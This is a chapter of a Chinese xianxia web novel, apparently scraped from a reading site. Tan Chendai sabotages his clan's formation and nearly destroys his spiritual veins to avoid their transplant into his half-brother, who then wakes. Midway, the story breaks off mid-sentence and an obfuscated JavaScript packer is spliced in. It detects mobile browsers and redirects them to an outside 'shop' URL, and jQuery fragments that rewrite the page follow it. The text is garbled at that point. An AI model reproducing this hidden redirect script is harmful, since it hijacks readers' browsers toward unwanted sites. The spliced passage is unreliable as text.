檀沉黛的神情确有缓和，尤其是在看见林游青昨日晨间发来的消息。


    他敲出一行字，解释未能及时回复的缘故，可转念又想到檀家上空的法阵。


    敲好的字被一个个删除。


    檀沉黛收好传讯令，脸色不如先前的好，浑身阴沉沉。


    不明所以的蛰虫在一旁撇嘴，脾气就这样古怪下去吧，好让那姑娘早些厌弃他。


    檀芳芸虽转危为安但尚未苏醒，听其他侍者说，情况甚至又在恶化。


    因此檀沉黛未被准许回蟾清宫。


    待了七天，蛰虫已经被檀家多如牛毛的规矩折磨到憔悴，埋怨道：“先前习惯了还不觉得，如今只是住了七天就想上吊，何时才能回蟾清宫？”


    “再说公子在这里也未帮上什么忙，掌门都回蟾清宫了，凭什么让我们一直等着？”


    檀沉黛起身：“今晚就能知道可否回去。”


    蛰虫听到檀沉黛这笃定的语气，不由得疑惑地看向他，想问此话当真，却看见檀沉黛正束着袖子。


    “公子，你又要去练功吗？”这七天，檀沉黛天天早出晚归，比在蟾清宫还要勤快。


    檀沉黛点头。


    蛰虫只当同往日一样，懒散地倒在摇椅上，掰着手指头再数一遍待了几日。


    但离去的檀沉黛却折返回来，立在他面前。


    “怎么了，公子？”蛰虫抬起视线，对上檀沉黛欲言又止、似是告别的神情。


    摇椅一顿，发出咯吱咯吱的响声，蛰虫猛地起身。


    传讯令递到他蛰虫面前，檀沉黛低声嘱咐道：“若我出事，替我向她告个别。”


    “啊？”


    蛰虫没理清楚状况，见檀沉黛没有解释的迹象，他上前两步拽住檀沉黛。


    都知道给人家姑娘一个交代，怎么不给他一个交代？


    厚此薄彼。


    蛰虫瞪着眼，用眼神向檀沉黛表达了自己的抗议。


    「你要去做什么？不要冲动，只是被关七天，再忍忍就能被放出去了。」


    眼珠好累，蛰虫稍闭闭眼，希望檀沉黛看懂了。


    檀沉黛挣开蛰虫的手，朝他一笑，什么都没说，又像是什么都说了。


    青年转身之际，蛰虫下意识伸手，扑了空。


    「若近日檀沉黛举止有异，即刻来报。」檀家主七天前的命令在耳边响起。


    这几日，他已经刻意忽视了很多，比如公子身上的血迹、公子灵脉旧伤的复发……再多这一次又如何？


    蛰虫随便拿起架子上的一块锦帕，夺门而出，追上檀沉黛。


    “公子，公子！”


    檀沉黛错愕地回头。


    蛰虫喘着气儿将锦帕往檀沉黛手中一塞，“公子，练功不带锦帕，小心出汗受凉。”


    他扯扯檀沉黛的衣袖。


    檀沉黛感受到掌心的异物感，不动声色地收下，“知道了。”


    蛰虫注视着檀沉黛离开这间小别院。


    曾经少年瘦削的肩膀已经变得宽阔舒展，尽管如此，蛰虫却担心檀沉黛并不能扛住整个檀家的力量。


    他由衷地希望无事发生。


    檀沉黛也愿无事发生，他想回蟾清宫见她。


    但这一切都要取决于檀芳芸是否能挺得过今晚。


    这是檀家主同医者们说好的最后期限。


    檀沉黛使用幻术，迷惑了檀家修者，躲开了他们的监视，隐去身形走向檀芳芸的别院。


    那里亦有层层修者把守，不止是因为檀家少主的身份，更是因为笼罩在檀家的法阵阵眼就在那别院之中。


    「沉黛哥哥，快跑，家主要拿你的灵脉换给少家主。」


    檀流芸的小球一到他手中，少年的劝告就响在脑海中。


    这叫檀沉黛明白自进檀家后的诡异感从何而来，也叫檀沉黛明白自己为何会被檀家长选中。


    一切都明了。


    古怪的是，檀沉黛得知这一切竟有种解脱感。


    他总觉得自己欠着檀家，故而选择忍下数不胜数的委屈时，也有对檀家恩情的顾及。


    但现在得知檀家对他的恩情中包含着对他性命的算计，檀沉黛想此时此刻他的委屈倒也不必再忍。


    这几日，檀沉黛暗中绕开监视破坏法阵，如今只差最后的阵眼。


    夜幕沉沉落下，檀沉黛飞上屋顶，他小心放出灵识窥视着屋内的一切。


    恨他入骨的檀芳芸面色惨白，没了往日傲气，正可怜地躺在床榻上。


    身旁，一众医者簇拥着他名义上的父亲，檀家的家主。


    “这已经第七日了，我儿还不曾醒来，尔等究竟用心诊疗否？”檀家主声音不大，可没谁听了这话敢不跪下。


    “回禀家主，少家主被反噬得厉害，虽修复好灵脉与灵府，但因灵脉无法自行运行灵气至灵府，故而迟迟不醒。”有医者道。


    檀家主坐在床榻边，伸手抚摸着檀芳芸的脸颊。


    这让檀沉黛记起，他的父亲也曾这样抚摸着他的脸。


    檀家主吩咐道：“罢了，去准备吧。”


    “家主不可！少家主此时虚弱，若强行更换灵脉，不说少家主能否扛过更换时的痛苦，新灵脉还会排斥少主。”


    “难道任由我儿就此昏睡，境界倒退？再拖下去我儿灵脉封闭，彻底成了废人，届时连换也做不到！”


    向来气定神闲的檀家主终于爆发了他压抑已久的怒火。


    “可眼下，的确非好时机……”还有医者在进言。


    “去准备。”檀家主声音里透着浓浓的疲惫，他挥挥手，医者们只得下去。


    屋顶上，檀沉黛锁定着阵眼的位置。


    檀家主心意已决，他亦做好决定。


    手中凝结着灵力，本该全身心蓄力，但檀沉黛却不由自主地想到自己的父母。


    与整个檀家对抗，他没有把握能全身而退，如若檀家拿他父母性命威胁，他又该如何？


    他怎能为了自己，将父母置于险地？但难道就此束手就擒。


    檀沉黛本决绝的决心出现裂缝，他死死盯着檀家主身下悄然无声运行着的阵眼，手却在抖。


    久远的幼时记忆袭来。


    夏夜，爹和娘争先恐后为他摇扇，还因为谁扇得好而吵了起来。


    但吵着吵着，爹和娘都笑着抱住他，亲亲他的脸蛋，三个人挤得发热也不分开。


    「沉黛是爹娘最爱的宝贝。」


    他们在他的耳边说。


    缓缓地，檀沉黛手中的灵力变得黯淡，最终消失。


    檀沉黛露出苦笑，盯着自己的右手，掌心处的划痕惹眼极了。


    这是那日和林游青结拜歃血时留下的痕迹。


    他想回去见她，自那日结拜后，他与她还未再见一面，连长幼之序也未确定好。


    可人生在世，总是不能随心所欲。


    院里传来动静，是那些医者带着各式法器与灵丹药草鱼贯而入。


    “派人去寻檀沉黛，不要惊动了他。”


    在医者布阵时，檀家主向侍者吩咐道。


    没多久，檀沉黛施下的幻术被人发现，陷入寂静夜晚的檀家因他的消失陷入恐慌与急躁。


    檀沉黛坐在屋顶上，好以整暇地看着那些修者们恨


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352536|199115||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不得将檀家翻过来地找他，殊不知他就坐在阵眼之上。


    他也看见蛰虫被人压着进了这间别院，蛰虫还是那样会糊弄人，一把鼻涕一把泪地哭着，就让檀家主厌烦了他，一脚将他踹到一边。


    其实他知道，蛰虫早就看出了自己的不对劲，只是在装瞎。


    檀沉黛轻笑一声，挥手，将蛰虫送给他的、可以抵御致命一击的蜈蚣精内丹抛回给蛰虫。


    内丹折射出灯火的光辉。


    蛰虫被晃到眼，看着落入怀中的内丹，他震惊地抬头。


    檀沉黛积蓄着灵力，一只手轻轻搭在另一边的手腕。


    他做不到白白叫人轻贱他，可也做不到抛开父母的性命任性而为。


    檀沉黛指尖的灵力蓄势待发，只要几秒，他的灵脉将被毁掉。


    宁为玉碎不为瓦全，只有这个办法，之后檀家主的怒火就尽情洒在变成了废人的他的身上吧……


    檀沉黛眼神一狠。


    “家主，家主！”有侍者跌跌撞撞地跑出来，“家主，少家主醒了。”


    ——


    檀芳芸不满自己久居檀沉黛的光辉之下，也不满自己的境界久未突破，未能为父亲、家族争光。


    于是不顾自己灵脉的缺陷，用丹药堆砌强行突破，就此致使灵脉灵府受损，陷入昏迷。


    但昏迷间，檀芳芸断断续续能感知到外界发生的事。


    他听见医者们对他的诊疗，说即使醒来有可能会成为废人，说也有可能醒不过来。


    他听见父亲对他恨铁不成钢的指责，但也感受到父亲粗糙温暖的大手紧握着他的手。


    檀芳芸想要醒过来的想法愈加强烈。


    废人？笑话，他怎么可能成为废人？他要醒过来，好叫医者不敢再胡言乱语。


    他还要向父亲请罪。


    听谁说，檀沉黛也回檀家了。


    他回来作甚？是来看他的笑话？


    那更要醒过来，不能叫檀沉黛这个贱种跑来笑话他。


    可是无论如何，檀芳芸就是睁不开眼。


    但明明他听得见，感受得到，可醒不过来。


    仿佛有一层看不见的屏障，将他与身体隔绝开来，他被困在黑暗之中，渐渐变得无力。


    听着医者私下对他的诊断，即使说他灵气无法自行运行、境界流失迟早会是废人，他心中都再也激不起半点反应。


    檀芳芸想，如果醒来真是这样的情况，倒不如杀了他。


    就在他百无聊赖准备等死时，他听见父亲说，要为他换灵脉。


    灵脉，换成檀沉黛的灵脉。


    檀芳芸的意志再次变得强烈。


    把檀沉黛那个贱种的灵脉换到他体内？他才不要，什么脏东西都能往他身体里换？


    不可以，他不允许！


    他是嫉妒那生错人的绝佳禀赋，但只想将它毁灭而非掠夺。


    醒来，快醒过来！


    医者们在准备了。


    檀芳芸嘶吼着，终于，躯体有了反应。


    他艰难地睁开眼，努力抬起手，张开嘴发出音节。


    “不……不、不要……”


    侍者帮着医者们摆放法器，准备阵法，无人注意他。


    “不、不要。”


    檀芳芸从喉咙里挤出声音，“不、要。”


    有侍者发现清醒过来的檀芳芸，喜出望外地尖叫着跑了出去。


    医者们则将他团团围住。


    他们都在意他。


    可无人在意檀芳芸嘴里念叨着的“不要”。


    不要换灵脉。


    檀沉黛，脏。